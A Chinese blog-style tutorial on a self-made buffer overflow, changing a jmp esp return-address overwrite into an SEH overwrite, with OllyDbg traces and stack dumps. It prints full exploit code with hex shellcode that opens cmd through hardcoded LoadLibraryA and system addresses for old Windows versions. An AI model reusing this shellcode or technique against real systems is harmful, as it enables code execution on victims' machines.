在《Q版缓冲区溢出教程》中有一个例子，如下：
#include <stdio.h>
#include <string.h>
char name[] =
"/x41/x41/x41/x41" //name[0] - name[3]
"/x41/x41/x41/x41" //name[4] - name[7]
"/x41/x41/x41/x41" //ebp
"/x12/x45/xfa/x7f" //通用jmp esp地址: 7ffa4512
/* 以下shellcode将开启一个cmd. */
"/x55/x8B/xEC/x33/xC0/x50/x50/x50/xC6/x45/xF4/x4D/xC6/x45/xF5/x53"
"/xC6/x45/xF6/x56/xC6/x45/xF7/x43/xC6/x45/xF8/x52/xC6/x45/xF9/x54/xC6/x45/xFA/x2E/xC6"
"/x45/xFB/x44/xC6/x45/xFC/x4C/xC6/x45/xFD/x4C/xBA"
"/x60/x1e/x80/x7c" //2003 sp1上LoadLibraryA地址:0x7c801e60
"/x52/x8D/x45/xF4/x50"
"/xFF/x55/xF0"
"/x55/x8B/xEC/x83/xEC/x2C/xB8/x63/x6F/x6D/x6D/x89/x45/xF4/xB8/x61/x6E/x64/x2E"
"/x89/x45/xF8/xB8/x63/x6F/x6D/x22/x89/x45/xFC/x33/xD2/x88/x55/xFF/x8D/x45/xF4"
"/x50/xB8"
"/x83/xa0/xb8/x77" //2003 sp1上system地址:0x77b8a083
"/xFF/xD0";
int main()
{
char output[8];
int i;
strcpy(output, name);
for(i=0; i<8 && output[i]; i++)
{
printf("//0x%x",output[i]);
}
printf("/n");
return 0;
}
这里它用的是用jmp esp覆盖返回点的方法，即原保存eip地址的地方被覆盖成了jmp esp，当执行retn时，相当于执行：pop eip,jmp eip。也就是会把jmp esp的地址赋给eip，然后eip就会去执行jmp esp，而由于pop eip时栈顶指针往下(即高址方向)移了一字节，刚好指向我们的shellcode地址，所以jmp esp就会执行到我们的shellcode了。
后来看了利用异常处理来执行shellcode的方法，很想找个机会实践实践，于是我对上面这个程序重新进行了分析，把原来jmp esp的溢出方式改成了jmp ebx方式，分析过程如下：
首先将char name[]的值赋的长一点(具体多长我心里也没数)，使其覆盖异常处理入口，用debug模式编译出程序，然后用OllyDbg V1.10反汇编，代码如下：
00401270 s>/$ 55 push ebp
00401271 |. 8BEC mov ebp,esp
00401273 |. 6A FF push -1
00401275 |. 68 38014200 push strcpyFl.00420138
0040127A |. 68 743F4000 push strcpyFl.00403F74 ;SE 句柄安装
0040127F |. 64:A1 0000000>mov eax,dword ptr fs:[0] ;此时栈顶值即为异常处理函数地址，即ESP=0012FFB4
00401285 |. 50 push eax
00401286 |. 64:8925 00000>mov dword ptr fs:[0],esp
0040128D |. 83C4 F0 add esp,-10
00401290 |. 53 push ebx
00401291 |. 56 push esi
00401292 |. 57 push edi
00401293 |. 8965 E8 mov dword ptr ss:[ebp-18],esp
为什么这里栈顶值就是异常处理入口呢？这里涉及到异常处理的一些原理，可以看看《利用SEH执行shellcode》，文章地址：http://blog.csdn.net/wfwd/archive/2006/06/01/767062.aspx。fs:[0]指向一个_EXCEPTION_REGISTRATION结构(我理解就是指向异常处理入口)，这个_EXCEPTION_REGISTRATION结构如下：
struct _EXCEPTION_REGISTRATION
{
前一个_EXCEPTION_REGISTRATION结构;
异常处理函数入口；
}
每个_EXCEPTION_REGISTRATION结构包括两个指针，前一个指针指向前一个_EXCEPTION_REGISTRATION，以形成一个链(如果不懂什么叫链可以看一下c语言版的数据结构)。后一个指针指向的是异常处理函数的地址。
这里要提醒一点，异常处理入口和异常处理函数的地址是不同的，如下：
struct _EXCEPTION_REGISTRATION <--地址1，这里对应的就是异常处理函数地址-4，即0012FFB0
{
前一个_EXCEPTION_REGISTRATION结构; <--地址2，这里的值和地址1是一样的
异常处理函数入口； <--地址3，这里对应的就是上面分析出来的0012FFB4
}
异常处理入口指的是地址1，其实地址1和地址2的值是一样的，因为结构的地址其实就是结构中第一个成员的地点。
异常处理函数的地址(地址3) = 前一个_EXCEPTION_REGISTRATION结构(地址2) + 4，为什么是加4呢？因为地址2是指针，占4个字节。
前面说的fs:[0]指向一个_EXCEPTION_REGISTRATION结构，就是指fs:[0]指向地址1（也就是地址2），当发生异常的时候，会执行地址3指向的函数，我们要做的有两件事情，一是将地址1的值换成jmp 04，二是将地址3中的值换成jmp ebx。 jmp 04对应的值为："04eb9090,所以也就是要将地1的值换成：04eb9090。而jmp ebx的通用地址是：0x7ffa1571，所以就是将地址3的值换成7ffa1571。
接下来我们要做的就是找到返回点的地址(其实jmp esp例子中已经找过了)。
继续跟踪，发现00401354处的call里执行的就是我们的代码，按F7跟进去。
00401354 |. E8 ACFCFFFF call strcpyFl.00401005
这一句执行后，就会跳到下面：
00401005 /$ /E9 06000000 jmp strcpyFl.00401010
0040100A | |CC int3
0040100B | |CC int3
0040100C | |CC int3
0040100D | |CC int3
0040100E | |CC int3
0040100F | |CC int3
00401010 |> /55 push ebp
00401011 |. 8BEC mov ebp,esp
00401013 |. 83EC 4C sub esp,4C
00401016 |. 53 push ebx
00401017 |. 56 push esi
00401018 |. 57 push edi
00401019 |. 8D7D B4 lea edi,dword ptr ss:[ebp-4C]
0040101C |. B9 13000000 mov ecx,13
00401021 |. B8 CCCCCCCC mov eax,CCCCCCCC
00401026 |. F3:AB rep stos dword ptr es:[edi]
00401028 |. 68 98334200 push strcpyFl.00423398
0040102D |. 8D45 F8 lea eax,dword ptr ss:[ebp-8]
00401030 |. 50 push eax
00401031 |. E8 0A010000 call strcpyFl.00401140
00401036 |. 83C4 08 add esp,8
00401039 |. C745 F4 00000>mov dword ptr ss:[ebp-C],0
00401040 |. EB 09 jmp short strcpyFl.0040104B
00401042 |> 8B4D F4 /mov ecx,dword ptr ss:[ebp-C]
00401045 |. 83C1 01 |add ecx,1
00401048 |. 894D F4 |mov dword ptr ss:[ebp-C],ecx
0040104B |> 837D F4 08 cmp dword ptr ss:[ebp-C],8
0040104F |. 7D 24 |jge short strcpyFl.00401075
00401051 |. 8B55 F4 |mov edx,dword ptr ss:[ebp-C]
00401054 |. 0FBE4415 F8 |movsx eax,byte ptr ss:[ebp+edx-8]
00401059 |. 85C0 |test eax,eax
0040105B |. 74 18 |je short strcpyFl.00401075
0040105D |. 8B4D F4 |mov ecx,dword ptr ss:[ebp-C]
00401060 |. 0FBE540D F8 |movsx edx,byte ptr ss:[ebp+ecx-8]
00401065 |. 52 |push edx ; /Arg2
00401066 |. 68 20004200 |push strcpyFl.00420020 ; |Arg1 = 00420020 ASCII "/0x%x"
0040106B |. E8 50000000 |call strcpyFl.004010C0 ; /strcpyFl.004010C0
00401070 |. 83C4 08 |add esp,8
00401073 |.^ EB CD /jmp short strcpyFl.00401042
00401075 |> 68 1C004200 push strcpyFl.0042001C ; /Arg1 = 0042001C
0040107A |. E8 41000000 call strcpyFl.004010C0 ; /strcpyFl.004010C0
0040107F |. 83C4 04 add esp,4
00401082 |. 33C0 xor eax,eax
00401084 |. 5F pop edi
00401085 |. 5E pop esi
00401086 |. 5B pop ebx
00401087 |. 83C4 4C add esp,4C
0040108A |. 3BEC cmp ebp,esp
0040108C |. E8 9F010000 call strcpyFl.00401230
00401091 |. 8BE5 mov esp,ebp
00401093 |. 5D pop ebp
00401094 /. C3 retn ;这里是返回点，此时ESP=0012FF84，
从上面分析可知，返回点地址为0012FF84，异常处理入口点为：0012FFB0，结合jmp esp例子，我们可以得到要覆盖的结果了：
"/x41/x41/x41/x41" //name[0] - name[3]
"/x41/x41/x41/x41" //name[4] - name[7]
"/x41/x41/x41/x41" //ebp
"/x12/x45/xfa/x7f" //通用jmp esp地址: 7ffa4512
"/x41/x41/x41/x41" //从这里开始覆盖40个字节长度，就能达到异常处理入口处了 |
"/x41/x41/x41/x41" // |
... // 40字节
"/x41/x41/x41/x41" // |
"/x41/x41/x41/x41" // |
"/x90/x90/xeb/x04" //这里就是异常处理入口了，覆盖成：jmp 04
"/x71/x15/xfa/x7f" //这里是异常处理函数地址，覆盖成jmp ebx的通用地址：7ffa1571
从以上的shellcode也可以看出来，异常处理入口前面的字符长度为8+4+4+40=56字节。这前面的56字节我们可以用随意构造。最后成功溢出的代码如下：
/*
* strcpyFlow.c
* by:∮明天去要饭
* http://blog.csdn.net/wfwd
*/
#include <stdio.h>
#include <string.h>
char name[] =
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcd"
//56个字节(前8字节为output[8]的长度，后48字节为溢出的长度)
"/x90/x90/xeb/x04" //jmp 04
"/x71/x15/xfa/x7f" //jmp ebx通用地址
//以下shellcode将开启一个cmd.
"/x55/x8B/xEC/x33/xC0/x50/x50/x50/xC6/x45/xF4/x4D/xC6/x45/xF5/x53"
"/xC6/x45/xF6/x56/xC6/x45/xF7/x43/xC6/x45/xF8/x52/xC6/x45/xF9/x54/xC6/x45/xFA/x2E/xC6"
"/x45/xFB/x44/xC6/x45/xFC/x4C/xC6/x45/xFD/x4C/xBA"
"/x23/x80/xE7/x77" //2000 sp0上LoadLibraryA地址:0x77E78023
"/x52/x8D/x45/xF4/x50"
"/xFF/x55/xF0"
"/x55/x8B/xEC/x83/xEC/x2C/xB8/x63/x6F/x6D/x6D/x89/x45/xF4/xB8/x61/x6E/x64/x2E"
"/x89/x45/xF8/xB8/x63/x6F/x6D/x22/x89/x45/xFC/x33/xD2/x88/x55/xFF/x8D/x45/xF4"
"/x50/xB8"
"/xAD/xAA/x01/x78" //2000 sp0上system地址:0x7801AAAD
"/xFF/xD0";
int main()
{
char output[8];
int i;
strcpy(output, name);
for(i=0; i<8 && output[i]; i++)
{
printf("//0x%x",output[i]);
}
printf("/n");
return 0;
}
此程序运行到返回点时，堆栈中的数据如下：
0012FF84 706F6E6D <--返回点地址
0012FF88 74737271
0012FF8C 78777675
0012FF90 42417A79
0012FF94 46454443
0012FF98 4A494847
0012FF9C 4E4D4C4B
0012FFA0 5251504F
0012FFA4 56555453
0012FFA8 5A595857
0012FFAC 64636261
0012FFB0 04EB9090 <--指针到下一个 SEH 记录(异常处理入口，这里被覆盖成了jmp 04)
0012FFB4 7FFA1571 <--SE 句柄(异常处理函数地址这里被覆盖成了jmp ebx通用地址)
0012FFB8 33EC8B55 <--shellcode开始处
0012FFBC 505050C0
本例代码在windows2000 sp0上溢出通过。
虽然这只是一个小小的实验，但花了我好多天的时间， 本人在测试过程中遇到如下问题：
1。异常处理函数地址我找不到。
2。我将windwos2003上的shellcode用在了windows2000 sp0上，却忘了进行修改，后来跟踪时才发现其实已经执行我的shellcode了，只是由于system等函数地址不正确才会又提示异常。
所以说菜鸟每走一步都是很辛苦的，当我早上溢出成功的时候，真的是非常的高兴。同时再一次验证了：人要靠自已这句话。在测试过程中当然也问了不少朋友，无论他们有没有能提供帮助，都非常感谢他们。